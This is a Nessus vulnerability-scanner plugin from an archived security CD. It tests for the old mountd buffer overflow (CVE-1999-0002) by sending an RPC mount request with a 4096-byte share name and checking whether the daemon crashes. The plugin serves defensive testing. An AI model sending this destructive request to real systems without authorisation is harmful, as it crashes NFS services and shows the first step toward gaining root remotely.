home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / mountd_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  106 lines

  1.  
  2. # An OOOOLD check.
  3.  
  4. if(description)
  5. {
  6.  script_id(11337);
  7.  script_bugtraq_id(121);
  8.  script_version ("$Revision: 1.5 $");
  9.  script_cve_id("CVE-1999-0002");
  10.  
  11.  name["english"] = "mountd overflow";
  12.  script_name(english:name["english"]);
  13.  
  14.  desc["english"] = "
  15. The remote mount daemon seems to be vulnerable
  16. to a buffer overflow when it receives a request for an
  17. oversized share.
  18.  
  19. An attacker may use this flaw to gain root access
  20. on this host
  21.  
  22. Risk factor : High";
  23.  
  24.  
  25.  script_description(english:desc["english"]);
  26.  
  27.  summary["english"] = "Overflows mountd";
  28.  script_summary(english:summary["english"]);
  29.  
  30.  script_category(ACT_DESTRUCTIVE_ATTACK);
  31.  
  32.  
  33.  script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison",
  34.         francais:"Ce script est Copyright (C) 2003 Renaud Deraison");
  35.  family["english"] = "Gain root remotely";
  36.  family["francais"] = "Passer root α distance";
  37.  script_family(english:family["english"], francais:family["francais"]);
  38.  script_dependencie("rpc_portmap.nasl");
  39.  script_require_keys("rpc/portmap");
  40.  exit(0);
  41. }
  42.  
  43.  
  44.  
  45. include("misc_func.inc");
  46. include("nfs_func.inc");
  47.  
  48.  
  49. function naughty_mount(soc, share)
  50. {
  51.   local_var pad, req, len, r, ret, i;
  52.   
  53.   pad = padsz(len:strlen(this_host_name()));
  54.   len = 52 + strlen(this_host_name()) + pad;
  55.   
  56.   req =        rpclong(val:rand()) +
  57.              rpclong(val:0) +
  58.            rpclong(val:2) +
  59.            rpclong(val:100005) +
  60.            rpclong(val:1) +
  61.            rpclong(val:1) +
  62.            rpclong(val:1) +
  63.            rpclong(val:len) +
  64.            rpclong(val:rand()) +
  65.            rpclong(val:strlen(this_host_name())) +
  66.            this_host_name() +
  67.            rpcpad(pad:pad) +
  68.            rpclong(val:0)  +    
  69.            rpclong(val:0)  +    
  70.            rpclong(val:7)  +    
  71.            rpclong(val:0)  +    
  72.            rpclong(val:2)  +     
  73.            rpclong(val:3)  +    
  74.            rpclong(val:4)  +
  75.            rpclong(val:5)  +
  76.            rpclong(val:20) +
  77.            rpclong(val:31) +
  78.            rpclong(val:0)  +    
  79.            rpclong(val:0)  +
  80.            rpclong(val:0)  +
  81.                     
  82.            rpclong(val:strlen(share)) +
  83.            share +
  84.            rpcpad(pad:padsz(len:strlen(share)));
  85.            
  86.   send(socket:soc, data:req);
  87.   r = recv(socket:soc, length:4096);
  88.   if(!r) return 0;
  89.   else return 1;
  90. }
  91.  
  92. port = get_rpc_port(program:100005, protocol:IPPROTO_UDP);
  93. if ( ! port ) exit(0);
  94. soc = open_priv_sock_udp(dport:port);
  95.  
  96.  
  97. if(!soc)exit(0);
  98.  
  99. if(naughty_mount(soc:soc, share:"/nessus") != 0)
  100. {
  101.  naughty_mount(soc:soc, share:"/" + crap(4096));
  102.  sleep(1);
  103.  if(naughty_mount(soc:soc, share:"/nessus") == 0)
  104.   security_hole(port);
  105. }
  106.